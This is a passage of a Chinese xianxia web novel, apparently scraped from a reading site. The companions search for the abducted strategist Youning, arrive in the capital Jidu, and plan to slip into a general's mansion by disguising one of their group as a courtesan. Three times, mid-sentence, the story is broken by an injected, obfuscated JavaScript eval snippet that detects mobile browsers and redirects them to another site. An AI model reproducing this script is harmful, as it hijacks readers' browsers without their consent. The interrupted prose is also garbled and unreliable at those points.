他手中拿着刻刀,薄薄的在上面覆了层灵力,正小心翼翼的钻刻着一颗九炎石。 幼宁拉着长调子哦了一声,给他倒了杯酒。 “给唐姑娘刻的?” “是啊。” 这颗九炎石他已经买了很长时间,但是雕刻总是断断续续,光是样式就摇摆不定了许久,练废了不少的样石才敢真的上手。 幼宁四处看了看,问道。 “唐姑娘呢?” “刚刚被一群姑娘拉走了。” 幼宁站起来往跳舞的人堆里看去,没看到唐思月,却意外的发现了被莺莺燕燕围了个水泄不通的行愿。 他的身高在一群姑娘中算是鹤立鸡群,虽然带着面具,但是手足无措之感尤为明显。 幼宁有点想笑。 大战时只有行愿和唐思月始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365420|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终守在城门,被回来的将士传的神乎其神,赛摩族的人慕强,虽然看不见面具下是怎样一张脸,但是强悍的实力和优越的身高身材还是让他受到了从没有受到过的热情关注。 “幼宁!” 云修云突然喊他坐下。 “干嘛?” 幼宁被他拽的歪了一下身子,没好气儿的坐了下来。 “你从计都来的,肯定知道不少时兴的簪子样式吧,快跟我说说!” 幼宁听了也不再跟他计较,眼睛一转,哄道。 “好啊,我的确知道不少,这样,你喝一杯,我说一种,怎么样?” 云修云看着桌子上不算小的酒盏,端起来砸吧了点儿滋味儿,发现就是清甜的果酒之后果断跟他成交。 云修泽和天盛微回来时他已经喝的神志不清了,云修泽看着嘿嘿傻笑的弟弟,有些头疼的揉了揉脑袋。 看见失踪人口回归,云修云跳起来大着舌头责问道。 “你们去哪儿了?转眼就、嗝!就找不到人了!要不是能、能......” 话还没说完,他就脑袋一仰,直挺挺的要倒下去,幼宁手急眼快且心情愉悦的一把将他扶住坐了下来。 “你灌他酒了?” 幼宁的眼神在两人都有些红肿的嘴唇上转了一圈。 “我还知道你们干什么去了呢。” 天盛微抬眼望天,云修泽也屈辱的闭了嘴。 “天,阿云怎么醉成这样?” 唐思月告别了一群热情的少年少女回来,还顺便解救了从莺莺燕燕变成左右为男的行愿。 她拿起剩了个浅底的酒盏闻了闻,哭笑不得的说道。 “这是赛摩族用雷果自己酿的,也就是喝着清甜,后劲和醉生梦死都差不多了。” 醉生梦死是毒药排行第五的烈性毒药,味道带着一丝清香,中此毒者会在睡梦中永不再醒来。 要是就这么放任云修云不管,恐怕不睡上十天半个月是醒不来的,于是干脆让行愿强行喂了些强效的解酒药。 幼宁也不知道这酒竟然烈成这样,虽然不后悔,但是不管三七二十一还是决定先道歉再说。 “对不住,我也不知道居然是这样。” 唐思月很宽容。 “没事,让他自己长长记性也好,你们不日就要班师回朝了吧?什么时候走?” 幼宁直了直身子,拿出了一块令牌。 “是,祭祀已经完成,我们还要尽快回去面见陛下,明日午时就走,这是我的私人令牌,听说你们也要去计都,到时候可以拿着它去城郊一个叫巳时的酒坊,会有人给我传信,有需要帮忙的我一定帮。” 云修泽收下令牌,上面还刻着一个毫不相干的泱字,但他没有多问。 “多谢,等我们到了计都也会把落脚的地方告诉你的人,有需要来找我们。” 幼宁站起身拍了拍衣服。 “一言为定,我们计都见。” 他施施然离开,突然感受到了一股视线,扭头看去就见到徐城主正和列七锋坐在一起,对他遥遥举杯,笑着点了点头后,便没太在意的扭头离开。 列七锋狐疑的看着徐城主。 “你又干什么?” 徐城主垂眸若有所思的抿了口清酒,想到他刚刚的笑,又想起了不久前与幼宁的对话。 他说他这次护城有功,恐怕不日就会升官调往计都,可是历代森阳关的城主无论功绩,都是必须待满七年才会升迁,他却说的仿佛此事已成定局。 徐城主放下酒盏,叹了口气。 “此子有狼顾之相啊。” 那边的云修泽五人在送走了幼宁后又迎来了赛摩族的族长。 老人行动很慢,察觉到他有话要说,几人就先一步迎了上去。 他拍了拍云修泽扶着他的手,语气很是慈爱。 “孩子们,谢谢你们,森阳和我们都曾因为我们的自大差点毁灭,这次也是托你们的福才安然无恙,我知道你们不会留下,也不知道该怎么感谢你们,这个你们拿着。” 他从怀中摸索着拿出一个玉鸣鸟模样的挂饰,和云修泽身上不同的是,这个蕴含了一丝特殊了灵气,眼睛的地方是红松石所制,长时间盯着看还会产生眩晕的感觉。 “我们虽然已经长久的不再流浪,但是和一些古老的部族还有着不错的交情,如果可以,以它为信物,希望有一天能帮到你们。” 云修泽心中一哂,怎么今日送信物的如此之多?莫非这热闹的节气也感染了他们不成? 他双手接过收了下来。 “身为修士,护城也是无可厚非,不过既然族长抬爱,我们便厚颜收下了,来日若能见到您的老友,定然会替您传达一份问候。” 这位宽和的老人让云修泽不自觉对比了一下自己遇到过的长辈,觉得惨不忍睹的同时,态度忍不住就谦和了下来。 族长用手指抹了一下云修泽的眉心,笑着又将祭台上的那句话重复了一遍,这次几人都清楚的明白他的意思。 祝你们繁荣,像天雷一样英勇。 85. 疑相一 “我去!快来看快来看!!!好大一条啊哈哈哈哈!!!!” 云修云捧着一条刚刚被钓上来的鱼没心没肺的大笑着,那鱼估计也没想到冬日里水面都结冰了还会遭此横祸,求生意志十分顽强的挣扎着,水甩了云修云一身也没影响他乐颠颠的抓着它在每个人眼前炫耀了一番。 距离他们从森阳关离开已经过了五日,此时赶了一天的路,正找了一个离湖泊比较近的地方准备安营扎寨,他就心血来潮说什么也要凿冰垂钓。 云修泽由他自己胡闹,唐思月很新奇的看着他活力满满的爬上爬下,又找树枝又凿冰的。 几人只当他是好不容易被放出来跑跑的野犬,没想到大冬日的竟真让他叼了个猎物回来。 “大哥!大哥!我们今天吃这个好不好?我好久没吃烤鱼了!” 云修泽倒没什么所谓,只是懒得沾那一手鱼腥,让他自己去开膛破肚。 可怜的鱼儿很快就被穿上了树枝,变成了火焰上方让人食欲大增的美食,烤出来的油脂发出滋滋的诱人声响。 该收拾的差不多都收拾好了,天色还没有完全暗下去,他们围坐在火堆边闲聊,一起等待着离开探查周边环境的行愿归来。 随着时间一点一点的流逝,鱼都要烤焦了,被取下来戳在了离火稍远的地方,行愿还是没有回来。 这很不对劲,以他的速度和平日里探查范围的习惯,此时早应该回来了才对,除非发生了什么事绊住了他的手脚。 天盛微和云修泽面色稍沉的互相看了看,提着剑站起身准备前去寻找,周围的树上却发出了点儿嗦嗦的动静,一个人影跳下来,落地没有发出一点儿声响,抬头一看,正是行愿。 “行大哥,发生什么事儿了吗?” 见他安然无恙,四人悬着的心就平稳了许多,但从他周身紧绷的气场来看,肯定还是发现了一些不寻常的事情。 行愿看向云修泽,沉声道。 “附近有军队走过的痕迹,还很新,但很乱,我顺着去看了看,是符康,似乎是发生了什么事,我没有看到幼宁。” 云修泽皱了皱眉,依照行愿的性子,他肯定不是看过一眼便回来如此说的,很可能是在军队周围潜伏了一段时间,没有看到幼宁,那他的意思就是推测是幼宁出了事。 他们出发比幼宁他们要晚上几天,但军队人数众多,赶路肯定不如他们方便,竟然这么快就被他们追了上来。 云修云的表情不太好看,毕竟幼宁在他看来比唐思月还要手无缚鸡之力,是个一戳就坏的瓷娃娃,一旦遇上敌人,无论是修士,还是专门刺杀的刺客,恐怕都难逃一死。 “哥,我们去看看吧!” “也好。” 云修泽点了点头,幼宁算是他们的朋友,现在得知他可能出了事,他们也无法再安心继续坐在这里。 “收拾东西,我们走!” 这次上路,他们没有再带上马车,唐思月的身体比他们初次见面时已经要强上不少,只要不是长时间赶路就没有什么大问题。 几人纷纷上马,天盛微抓着点墨的缰绳,矮身把唐思月也捞了上去。 行愿一马当先,在前面带路,五人默不作声的在树林中奔袭,今晚没有月亮,随着夜逐渐深沉,赶路的难度也变得越来越高,所幸没要太长时间他们就顺利找到了军队。 几个人快速接近军队的营地,不可能不被他们探查到,被团团围住的五人摘下了兜帽亮出身份,有人认出了他们,没有动手,将他们带到了符康将军面前。 符康将他们带进了帐篷,请他们坐下。 “森阳一别,没想到这么快就能重新见到几位,这么晚了,可是有什么要事吗?” 符康看上去不像个典型的武人,面容偏向儒雅,但身材也很结实,云修泽在火讫节上和他说过一阵话,很明显能够感觉到这并不是个简单的人物。 在计都还能做到车骑将军,并且手中拥有一定兵权,不是佞臣便是帝王心腹,云修泽没有打算一开始就跟他全盘托出,真假参半的试探道。 “也是缘分,我们脚程快些,在附近发现了你们的踪迹,想起之前还有事儿没和幼宁交代,便赶着来见他一面,还请将军不要嫌我们冒昧。” 符康没有立马回话,看着他们似乎是思量了一下,意味不明的说道。 “几位想来是与他交情不错。” 这是彼此都心知肚明的,一个浅显的试探,他在衡量云修泽几人,反之也是如此。 幼宁很少与他们谈及符康,但说起来的时候也都没有表现出过不信任的态度,幼宁对他们肯定有所保留,对符康理应也是如此。 云修泽拿出了幼宁给的那枚令牌,冷静的说道。 “我们自认还是不错的。” 看到那枚令牌,符康像是一下对他们放心了不少,坐的直挺的后背弯了弯,露出忧虑的神情。 “不瞒你们说,幼宁不见了,我正在找他,如果可以,希望你们也能帮帮忙。” 不见了? 几人都露出点儿诧异的神情,云修云表情揪成一团,看起来很想说些什么,但还是忍住了,等云修泽开口。 云修泽的手捏着桌上的空杯,沉声道。 “将军这是什么意思?你是说一个军队的军师在数以万计的将士的保护中,平白消失了,是吗?” 符康皱着眉移开了视线。 “云公子稍安勿躁,事实并非如此,前日幼宁收到计都来信,看过之后便表示要先行一步,他带着两个人离开,一路上都会给我们留下记号,方便我们得知他的动向,昨日还好好的,今日下午便不知为何再也找不到他的记号。” 如果是这样,那倒也真怪不着他们,虽然和幼宁相识不久,但云修泽也知道幼宁是不会因为着急赶路而忘记留下记号这件事的,肯定是发生了什么让他来不及这么做。 不过符康竟会允许他脱离军队自己行动?云修泽手指轻轻敲了敲茶杯,说道。 “我知道了,我们会帮忙找人,还请将军详说,是什么样的记号?最后在哪里出现?” 符康松了一口气,修士能发挥的作用可比他们大多了,连忙唤人拿来了笔墨与他们详说起来。 他们没有耽误时间,了解清楚过后,便迅速开始帮着一起寻找,唐思月留在营中,剩下的四人分头行动。 云修泽御剑在空中俯瞰着地面,这里离营地已经有一段距离了,刚刚还能看到将士寻人的身影,现在就只有一片寂静。 褚闲忽然发出点儿嗡鸣,云修泽诧异。 “什么?” 灵器觉醒器灵之后天生就会对其他兵器产生压制,除了能够拥有自主意识,似乎还有一定的衍生能力,之前褚闲号令万剑便是如此。 褚闲这是在告诉他它感受到了其他兵器的存在。 它不会平白无故这样说,像是之前在军营,每个将士都配有长兵短刃它也毫不在意,现在突然警示,应该就是出现的较为异常。 云修泽跟随它的心意往一个方向飞去,逐渐压低了高度,发现这里已经接近了通往计都的主路。 行军一般都是较为隐秘,不会光明正大任人摸清他们的路程,自然也不会在主路行走,幼宁为求迅速,想要选择这条路也是情有可原。 靠近地面之后,云修泽从剑上下来,向前走了两步,拨开挡路的叶子,便看到了两个伤痕累累的尸体,并没有看到幼宁的踪影。 云修泽眉头一紧,迅速去确认他们的状况,同时也传音给了剩下三人。 云修泽把其中一人翻过来,发现正是之前有过一面之缘的李宝山,他怒目圆睁,身上的伤口并不像是刀剑所伤。 两人的身体都已经彻底凉透了,肢体僵硬,已经死了有一段时间。 天盛微、云修云和行愿陆续赶过来,看到死去的两人,脸色都不太好看。 云修云没有一惊一乍,反而沉着脸开始观察起了四周。 树断了几颗,旁边有刀剑的划痕,有的植物奇怪的像是被抽干了水分枯萎着,地上甚至还插着已经折断的箭尾,再结合李宝山和另一人身上的伤痕,他们便有了大致的判断。 天盛微蹲下身捻了捻有点湿润的土壤,感受到了残留的微弱妖气。 “水妖。” 行愿拔出了插在地上的箭矢。 “他们不用兵器,这箭的方向和深度不对,不是幼宁他们的。” 云修云听明白了他的意思,不知道幼宁为什么会招来这样的敌人,奇怪的皱眉。 “这是两拨人,他们到底想干什么?” 云修泽站起了身,活动了下脖子,笃定道。 “幼宁被人族那一方掳走了。” 他回头看向他们,继续解释道。 “如果是水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370691|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖得手,他们不会手下留情,就像这两个人,留下来的只可能是尸体,幼宁实力不济,自己逃脱的可能微乎其微,被用箭的那一方带走的可能性很大。” 天盛微也微微额首。 “的确,而且他们是往计都去了。” 云修泽顺着她的视线回望,看到了不易被察觉的血迹斑驳,方向正是前往计都。 行愿已经默默的扛起了李宝山,云修云看到也跟着扶起了另一个人。 “事不宜迟,我们赶紧回去。” 几人不约而同御剑疾驰,大摇大摆的飞到军营上方,还惹来了小范围的骚乱。 符康大步向他们走来,看到他们肩上扛的人影,心中逐渐忐忑。 “找到幼宁了吗?这是怎么回事?” 唐思月接手看了看,但已经彻底没了声息的人她也没有什么办法。 云修泽将发现的事跟符康将军重新说了一遍,看他凝重的神色,说道。 “此事恐怕刻不容缓,不知将军有没有什么头绪,总之还望早下决断。” 符康深深看了他一眼,吸了一口气,转身喊道。 “传我命令!拔营整军!立刻动身!” 他的命令一道道被传下去,刚才还井然有序的军营瞬间就热闹了起来。 他转身看向云修泽。 “云公子,我们要连夜回城,此事还需向上呈报,你们可要随我们入城?” 云修泽和天盛微对视一眼,摇头道。 “不了,身为毫无干系的散修,与你们一起入城肯定会惹人注目,也许还会打草惊蛇,将军先行一步,我们随后就到。” “如此也好,今日之事还请几位保密,到了计都,符康另有重谢。” 云修泽几人抱了抱拳没再多说。 他们很快离开,五人短暂休整了几个时辰,也驾马开始赶路,大约用了一个上午的时间,便顺利来到了计都的城门。 看着城门上苍劲有力的计都二字,云修泽有种不合时宜的,终于见到梦中情人般的感叹。 从衢州开始,他们就一直想要前往计都,可每次都阴差阳错的改变计划,现在七拐八拐,几乎要将几个地方走遍了,才算是来到了他们最开始想来的地方。 他们入了城,便准备先去找落脚的地方。 这里不愧是皇都,比其他地方热闹繁荣了不止一点半点,生活的地方都很清静的五人有点不太适应。 云修云皱着脸侧身给一个商贩让了路,奇怪的说。 “我们就算了,盛微姐不就是计都人吗?为什么看上去也不太习惯的样子?” 天盛微牵着马有点无奈。 “我只有幼时常出门玩耍,后来去了昆天谷少有回来,回来也都是待在府里,府里清净得很。” “好吧。” 云修云表示理解。 他们本来想去通神阁,让他们安排一个地方,没想到还没等他们找到地方,通神阁的人就先一步找到了他们。 一个穿着考究的青年人突然过来行了个礼。 “敢问可是第七洲的几位道友?” 云修泽打量了他一番,开口问道。 “你是何人?” 青年人笑眯眯的拿出了通神令,说道。 “在下通神阁主事宋华,听闻几位入城,奉命前来接待,不知几位可找好了下榻之处?若不嫌弃,通神阁有不少私产,几位可任意挑选。” 真是瞌睡了送枕头,想什么来什么。通神阁消息灵敏,恐怕会有专人日日守在城门附近,他们进了城被报上去也不奇怪,云修泽点了点头。 “正有此意,还要麻烦宋主事帮我们选一套不起眼的,借住的租金好说。” “哪里哪里,几位肯赏光就是莫大的荣幸了,请跟我来吧。” 能在通神阁做到主事的人都是人精,挑的地方不仅达到了他们的要求,也兼顾了很多其他的方面,大小适中,南通北达,和明王府以及通神阁的距离都不算太远。 云修泽很满意,当即拍板就决定是它了。 “我们恐怕要住上一些时日,租金是按日算还是按月算?” 还没等宋华说话,屋中就突然有人轻笑出声,门被推动,人影未至,带着笑意的声音却先一步在几人耳边响起。 “自家人住自家人的地方,哪里还有付钱的道理啊,你说是不是啊,青儿?” 86. 疑相二 声音很熟悉,云修泽很快反应过来此人的身份。 “明姑姑。” 众人定睛一看,果然是许久未见的明水心,于是纷纷开始见礼。 回了计都,明水心似乎是低调了许多,但其实仔细看来佩戴的东西一样没少,只是衣裳的颜色有所收敛。 “姑姑!” 天盛微见到她很快就迎了上去,明水心上下打量着她,见她好端端的不像是受了什么伤的样子,就露出满意的神色。 “不错,我们青儿似乎越来越漂亮了。” “姑姑。”天盛微无奈,还有外人在,怎的一上来就拿她打趣? 宋华很有眼力劲儿的告退了。 明水心拍了拍天盛微的手,带着他们一起往里去。 “我就知道你们会让宋华带你们来这儿,怎么样?这个大比魁首当的可还顺心?” 天盛微见她还是笑意盈盈,明显还是在调侃,也不再搭这个茬,进屋后扶她在上座坐了下来。 “姑姑,你来的正好,我们有事要请你帮忙。” 明水心漫不经心的把玩着手腕上的红珠串。 “哦?说来听听。” 天盛微和云修泽对视,云修泽问道。 “您可否知道幼宁此人?” 她动作一停,抬眼看过来,笑道。 “好像吧,我每天要处理的事堆积如山,实在是记不太清,不如你们先说说看?” 于是云修泽挑挑拣拣的将事情跟她说了一遍,末了,说道。 “还要劳烦您帮忙打探一下他的消息。” 明水心意味不明的轻笑一声。 “看来你们这段日子过得倒是精彩的很,好了,我知道了,我会处理,你们就安心等消息吧。” 她起身向外走去。 “我还有事,先行一步,青儿出来送送我,对了,屋子我已经提前让人布置好了,给你们留几个洒扫的,之后让他们带你们去就可以。” 几人站起来道谢后目送她缓步离开。 “姑姑。” 天盛微和明水心来到门外,这里正停着一辆马车等着她。 明水心顺了顺天盛微的头发,有点忧虑的问。 “你和他在一起了?” 天盛微沉默片刻,点了点头。 明水心没有多说什么。 “好吧,姑姑知道了,之前你一直在外奔走,现在回来了也不知能待多久,抽空去看看你母亲吧。” “......好。” 明水心被女使扶着上了马车,正欲离开时,天盛微突然想起了什么,上前两步敲了敲马车,明水心撩开帘子,问。 “怎么了?” “姑姑,我们回来是因为听到了计都有镜双子地图消息的传闻,也请您帮我们留意一下。” 明水心笑了笑,这孩子虽然人已回到了计都,但心仍然未曾停留,不过让她在外游历,体验世间的爱殇别离也是好的。 “好,姑姑知道了,回去歇息吧,赶路赶的也没顾上好好梳洗一番,小心别让你那情郎一直记住你现在这副模样。” “姑姑!” 明水心不再逗她,呵呵笑着放下了帘子,马车很快就动起来,没什么声响的悄声离开了这里。 等她走远,天盛微就准备推门回去,动作忽然一顿,忍不住停下来摸了摸自己的脸颊,反应过来自己在干嘛后又马上甩了甩头,抿着嘴快步离开。 天色尚早,五人稍微修整了一番就拿着令牌去城郊找到了幼宁说过的那间叫巳时的酒坊。 前来接应的是一个样貌普通的中年人,云修泽试探的询问他是否能联系到幼宁,他也没表现出什么异样,只说会给主人家送去消息,想让他们在这里稍待。 他既然这么说,那想来是还不知道幼宁已经失踪的消息,拒绝了他的提议后,云修泽又留下了几人的地址,叮嘱他们若有什么需要,或者是幼宁来找,可以到这里来找他们。 那个中年人似乎是在他们的话中明白了些什么,匆匆将他们送走后就关闭了酒坊。 之后几人也没闲着,分头去打探了一下消息,然而计都中却仿佛根本没有幼宁这个人的存在,军中也许有,但他们也不好进去。 符康将军打完仗回来的事倒是有少数的人在说,可是也都驴唇不对马嘴,听着像是戏文一般。 看来短时间内,靠他们自己想查到点什么是没什么可能。 夜晚,天盛微在自己的院子里练剑,却不是连续的剑招剑式,而是最基础的刺、劈、点、撩、挑等,默不作声的闷头重复着,一个动作哪怕已经练了百八十次也不见丝毫的不耐烦,但她的心思却不在这里,动作几乎只是身体的记忆。 云修泽扒在墙头看了好一阵子,直到她终于停下来去倒了杯茶喝的时候,才一个用力翻入了院内。 天盛微无奈。 “干嘛总是一副登徒子的做派?” 云修泽耸了耸肩,无辜道。 “我怀疑你姑姑就是故意的,每次都给我们安排离得最远的院子。” 天盛微听了他的话只觉得好笑,坐下来又续了杯茶。 其实自从他们在森阳关一起睡过之后,云修泽就时不时爱悄悄来找她,每一次都是扒墙头,还总是言之凿凿的说是怕让其他三人知道了整日调侃。 虽然天盛微也不知道为什么他会觉得翻墙和走门的区别如此之大,但看云修泽这么乐在其中,也就善良的由他去。 “阿微。” “嗯?” “你有心事吗?” 天盛微举杯的手停在半空,过了一会儿就轻轻放了下去。 见她不说话,云修泽习以为常的开始自己猜测。 “你姑姑跟你说什么了?” “......” “她让你回家?” “......” “你在担心你母亲?或者说你在担心我们?” “......” ......全对,天盛微背过身去瘪起了嘴,难得有点赌气的意思。 云修泽好笑的把她掰回来,见她还是不肯看自己,就走了两步将她抱入怀中,让她埋在自己的肚子上,拇指摩挲着她的发顶。 天盛微泄了气,眷恋的感受着他的体温,有些控制不住的难过。 察觉到她的情绪,云修泽稍微走了点神,眼神空洞了片刻,才低头柔声安抚起来。 “你该回去看看的,毕竟你心里也一直惦念着你的母亲,如果总是想着逃避,小心以后生出心魔来。” 天盛微抱紧了他的腰身,少顷,云修泽才感觉到她点了点头。 他现在能够在她身边,其实就已经给了她莫大的安慰和勇气。 “而且。” 云修泽捧起她的脸颊,微微用力揉了揉,神态轻松的调笑道。 “也不是一点办法都没有,如果最后实在不行,我也依然会求娶你,只不过辛苦一些,要分居两地罢了。” 他弯腰亲了亲天盛微被自己捏的嘟起来的双唇,挑眉说道。 “这样的话,虽然不能日日相守,但只要夫君一有空就来陪你,好不好?” 天盛微仰脸看着他,并没有被他的无耻逗笑,反而心一缩一缩的疼起来,呼吸变得有些困难,眼泪似乎被堵在了喉头,只消一出声就会簌簌落下。 她不想让云修泽看出来,便努力挤出了点笑容,埋头抱着他嗯了一声。 她的声音虽然隐藏的很好,但仔细听还是能发现丝丝颤抖,像是生硬的从喉咙里挤出来的一般。 云修泽暗叹一声,任她紧紧箍着自己,过了好一阵儿,天盛微平复好了情绪,才慢慢松开了手。 “好点了吗?” 云修泽摸摸她的脸,有点怀疑自己是不是下手重了,看上去有些泛红。 “嗯。” 天盛微垂眸把他的手拿下来,反手握在了手中。 云修泽难得看她这样粘人,新奇的想要使点坏心眼逗逗她,但又怕她恼羞成怒,跃跃欲试了半天还是认怂的强忍了下去。 天盛微已经彻底平静了下来,事到万不得已,云修泽说的办法也不是不可以,反正这个人她是无论如何都不打算放开。 想通这一点,她不再纠结,拉着他说起正事来。 “你有没有觉得有点奇怪,一点幼宁的消息都没有,就算这个名字是假的,他的长相身份也不可能没有痕迹。” 云修泽骤然被她从温情脉脉的情绪中扯出来,无奈的叹了口气,认命的坐下和她一起分析。 “你想过没有,他从未说过姓,而他能成为车骑将军的军师,就不可能是没有家族门第的普通人,退一万步说,就算是他才华惊人,靠自己的真才实学坐到这个位置,也早就该传遍计都才是,不应该是现在这个样子。” 他说的在理,天盛微很快明白过来。 “我们可以从他的家族入手探查。” 天盛微想把这个方向告诉明水心,又突然想到,通神阁手眼通天,是真的不知道身在计都的幼宁的消息吗? “通神阁......” 天盛微喃喃念道。 云修泽听了,便知道她想到了哪里,不禁莞尔一笑。 “是了,你姑姑大概率是知道的,但既然她不和我们说,那也许是有什么缘故,通神阁不卖他的消息,就像他们不卖我们的消息一般。” “那姑姑为什么要帮我们打听?” “因为是你啊。” 云修泽含笑看着她,不懂她为什么绕不过这个弯子。 天盛微愣了愣,歪歪头,半晌才有点干巴巴的哦了一声。 云修泽莫名幻视什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376397|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么毛茸茸的小动物,想起自己有一阵子独宠踏风了,抱着点补偿心理撸了撸迷茫的天盛微。 “嘿咻——” 云修泽趁她还懵着,一把将她抱了起来,看她受惊的模样,又故意颠了两下,哈哈笑着大步往屋里走去。 “哈哈哈,走走走,睡觉去咯——” “云修泽!” 砰——! “......对不起我错了。” 天盛微恼羞走在前面,云修泽揉着脑袋巴巴的跟在后面,一前一后的进了屋子。 被两个主人遗忘的两把佩剑并排立在桌边,褚闲咔哒咔哒的往深流旁边靠了靠,直到中间连个手指头的缝隙都没有了才心满意足地安静下来。 第二天一早,明水心就给他们带来了幼宁的消息。 “说来也巧,此事正是昨夜发生,入夜之后,有打更人路过威猛将军的府邸,在侧门处看到有数名家仆抬着一个身受重伤的白衣少年,悄悄进入了府中,外貌身形和你们描述的幼宁都很相似。” “威猛将军?” 云修泽觉得有点耳熟,但一时间又想不起来,经过天盛微提醒,才想起是列七锋曾经说过,不过幼宁为什么会和威猛将军扯上关系? 威猛将军比符康品级要高,他若想要进去找人,硬闯不行,若要上报陛下还得拿出有力的证据。 “我们今晚去那个什么威猛将军府看看吧!” 云修云坐着向前探了探身子。 正在云修泽思考这个可能性的时候,明水心在一旁泼起了冷水。 “想什么呢?孩子们,这里是天子脚下,威猛将军的府邸,哪是你们说探就能探的?你们敢去,明日我就能在邸报上看见你们。” 云修云顿时偃旗息鼓。 明水心这个人有着七巧玲珑心,她既然带来了消息,说完也没有立刻离开,想必是有法子能帮他们的。 “那明姑姑知道有什么办法吗?” 明水心看着他勾了勾嘴角。 “我也不跟你们绕弯子,呤音楼有白身花魁霜弦,常戴面纱,据说姿容可以与镜双子一比,威猛将军很喜爱她,每月会召她入府弹奏,明日正好就是她入府的日子,你们可以从她身上入手。” 这倒是个可以顺理成章混入将军府的办法。 事不宜迟,几人趁着还是白日出去打听了一下霜弦和威猛将军的消息。 不是他们放着明水心不问,非要舍近求远,只是她实在是日理万机,没说两句就得离开,但云修泽更怀疑她就是故意想要折腾他们一下。 但总之,这并不是什么难得的消息,人们对于桃色传闻总是有着异样的热情,一天下来几乎各个版本都听了一遍。 最出名的就是将军府中有一座专门为霜弦修建的水榭,两人听完了曲就在上面寻欢作乐,酒池肉林。 云修泽回来时只觉得自己的眼界又重新被拓宽了不少,精神很是疲惫,不过好歹是打听到了有用的消息。 霜弦住在呤音楼的最上面,一手琵琶弹的出神入化,第二日要去将军府的话,前一日就不会出台演奏,更不会离开呤音楼。 将军府他们探不得,呤音楼还不行吗? 几人趁着夜色来到了呤音楼附近,这里正是最热闹的时候,烛火通明,莺声燕语,男子基本都带着酒气混迹其中,穿的一个赛一个的考究,随手撒出去的,不是碎银就是银票,更有甚者,左拥右抱,在娇笑声中直接拿着银锭、金泊搭起了天桥。 几人都露出点儿异样的神色,云修云最不加掩饰,红着脸撇过了头,还试图去捂唐思月的眼睛,然后被无情拍开。 他们一路绕到了楼后面,最上面的房间倒是正好开了窗户。 几人打手势交流了一番,就由天盛微猫悄的几个起落潜入了她的房中,片刻后她便探出头示意他们已经搞定。 五人很快就在花魁的房间中重聚,这里灯火暧昧,衣架上还挂着明日出行的花衣。 霜弦晕倒在地上,妆容上了一半,面纱已经被天盛微取了下来。 云修云摸着下巴端详了一番,的确很好看,如果他没有见过天盛微和唐思月的话,应该也会被一眼惊艳,不过现在嘛...... 他悄悄看了一眼她们,喜滋滋的想,果然还是她们好看,还说什么媲美镜双子,应该只是被刻意塑造出来的噱头。 天盛微把霜弦抱到床上,说。 “她是有内力的,不过被我打晕,这两天醒不过来了,只要把她藏好,我们就可以顺利顶替。” “嗯......” 云修泽思量了一下。 “顶替她的话不能太突兀,至少要貌美、并且擅长弦乐。” 他说着,几人的目光就渐渐汇聚到了唐思月身上。 唐思月顶着他们的视线,缓缓露出了一个和善的笑容。 87. 疑相三 色容艳姿美,光华耀倾城——【注1】 自镜双子之后,在计都人心中就只有花魁霜弦可担此句。 她虽卖艺不卖身,但也不能真的随心所欲,该为呤音楼打响名头的时候,自然要做的出色,所以每月赴宴将军府就形成了一种类似于花魁游街的常例。 在一个小酒馆做工的麻小,过了年龄了却还没有娶上媳妇,每月最喜欢的就是去凑这个热闹,这次也不例外。 他左边踩了一个人的脚,右边再用屁股顶开,在一片不快的骂声中艰难的挤进了最前面,甚至还从怀中掏出了一捧自备的瓜子,有滋有味儿的咂么起来。 很快花魁的车队便来了,两个女使走在最前面掌着香炉,两匹毛色顺滑、被装点的很漂亮的白马拉车,一溜仆从跟在马车两侧,从篮子里抓取着颜色各异的新鲜花瓣向外散去,形成了一条带着清香的花路。 但最吸引人们目光的却不是这些,而是车撵中那个若隐若现的倩影。 这并不是普通的马车,更像是被精心装扮的展台,四周围着柔软的纱幔,随着微风轻轻摆动,让人们对中间那个抱着琵琶跪坐的身影生出无限的遐想。 麻小从未缺席过任何一次花魁的出游,这次却感到有点奇怪,怎么花魁的身形似乎要比以往壮上一些? 花·威武雄壮·云修云·魁:“......” 啊啊啊啊啊啊啊啊啊!!!!我讨厌女装!!!!!! 云修云苦大仇深的坐在车撵中间,身上临时裁剪改制的华美服饰并没有让他觉得好受一些,稍微一动就觉得哪儿哪儿都不对劲儿,哪儿哪儿都不舒服! 昨夜他们的第一反应,便是让各方面都很符合条件的唐思月假扮成霜弦,但是很快就被她冷静的反驳了回来。 将军府到底是个什么状况还未明了,让他们中自保能力最差的唐思月去恐怕谁都放心不下,更何况那个威猛将军一听就不是什么好货色,这等好色之徒,若是见到了比霜弦还要惊艳动人的唐思月,保不齐不会动什么歪心思。 